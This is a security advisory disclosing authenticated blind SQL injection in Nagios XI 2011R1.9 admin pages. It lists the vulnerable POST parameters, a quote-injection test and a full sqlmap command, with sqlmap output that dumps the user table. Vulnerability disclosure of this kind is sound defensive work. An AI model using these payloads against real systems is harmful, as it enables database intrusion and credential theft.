======= Summary ======= Name: Nagios XI Network Monitor - Blind SQL Injection Release Date: 30 November 2012 Reference: NGS00194 Discoverer: Daniel Compton Vendor: Nagios Vendor Reference: 0000282 Systems Affected: Nagios XI Network Monitor 2011R1.9 Risk: High Status: Published ======== TimeLine ======== Discovered: 30 January 2012 Released: 31 January 2012 Approved: 31 January 2012 Reported: 31 January 2012 Fixed: 7 June 2012 Published: 30 November 2012 =========== Description =========== Nagios XI Network Monitor 2011R1.9 - Blind SQL Injection within the administrator/monitoring interface. This is a commertical product for monitoring severs and network monitoring equipment. I. VULNERABILITY ------------------------- Nagios XI Network Monitor 2011R1.9 suffers from Blind SQL injection in several pages and parameters. This is exploitable as an authenticated user. II. BACKGROUND ------------------------- Nagios provide enterprise level network and server monitor software. http://www.nagios.com/ III. DESCRIPTION ------------------------- SQL injection has been found and exploited/confirmed within the software as an authenticated user. This is the latest version of Nagios XI. ================= Technical Details ================= IV. PROOF OF CONCEPT ------------------------- The following URL's and parameters have been confirmed to all suffer from Blind SQL injection. /nagiosql/admin/checkcommands.php (POST parameters: chbActive,selCommandType) /nagiosql/admin/servicegroups.php (POST parameters: chbActive,selCommandType) /nagiosql/admin/hostgroups.php (POST parameters: chbActive) /nagiosql/admin/services.php (POST parameters: chbActive) /nagiosql/admin/hosts.php (POST parameters: chbActive, tfCheckIntervalm, tfMaxCheckAttempts, tfRetryInterval) Manual confirmation of the chbActive parameter, insering a single ' tfName=ls&tfCommand=x.txt&selCommandType=0&chbActive=1'&hidActive=&modus=insert&hidId=&hidLimit=0 tfName=ls&tfCommand=x.txt&selCommandType=0&chbActive=1''&hidActive=&modus=insert&hidId=&hidLimit=0 Exploiting with SQLMap: python sqlmap.py --url http://192.168.1.121/nagiosql/admin/checkcommands.php --cookie "PHPSESSID=bbfqbou8tq71591ct6qrcakpg5; nagiosxi=nv78nq36n551h3e63ooprpe556" --data="tfName=ls&tfCommand=x.txt&selCommandType=0&chbActive=1&hidActive=&modus=insert&hidId=&hidLimit=0" --dbms=mysql -p chbActive --dbs [14:55:26] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS web application technology: PHP 5.3.3, Apache 2.2.15 back-end DBMS: MySQL 5.0 [14:55:26] [INFO] fetching database names [14:55:26] [INFO] the SQL query used returns 3 entries [14:55:26] [INFO] retrieved: information_schema [14:55:26] [INFO] retrieved: nagiosql [14:55:26] [INFO] retrieved: test available databases [3]: [*] information_schema [*] nagiosql [*] test [14:25:26] [INFO] fetching entries for table 'tbl_user' on database 'nagiosql' [14:25:26] [INFO] the SQL query used returns 2 entries [14:25:26] [INFO] retrieved: 11111111 [14:25:27] [INFO] retrieved: 1 [14:25:27] [INFO] retrieved: Administrator [14:25:27] [INFO] retrieved: 1 [14:25:27] [INFO] retrieved: 2012-01-30 12:29:41 [14:25:27] [INFO] retrieved: 2009-10-22 12:53:49 [14:25:27] [INFO] retrieved: 1 [14:25:27] [INFO] retrieved: ccc2f014bb [14:25:28] [INFO] retrieved: nagiosadmin [14:25:28] [INFO] retrieved: 0 [14:25:28] [INFO] retrieved: 11111111 [14:25:28] [INFO] retrieved: 1 [14:25:28] [INFO] retrieved: Nagios XI Subsystem Account [14:25:28] [INFO] retrieved: 4 [14:25:28] [INFO] retrieved: 2012-01-30 13:52:09 [14:25:29] [INFO] retrieved: 2009-10-22 12:55:08 [14:25:29] [INFO] retrieved: 0 [14:25:29] [INFO] retrieved: cccc2f014bb [14:25:29] [INFO] retrieved: nagiosxi [14:25:30] [INFO] retrieved: 0 =============== Fix Information =============== Fixed in 2012 version http://labs.nagios.com/2012/04/13/nagios-xi-ccm-full-beta/ NCC Group Research http://www.nccgroup.com/research For more information please visit http://www.mimecast.com
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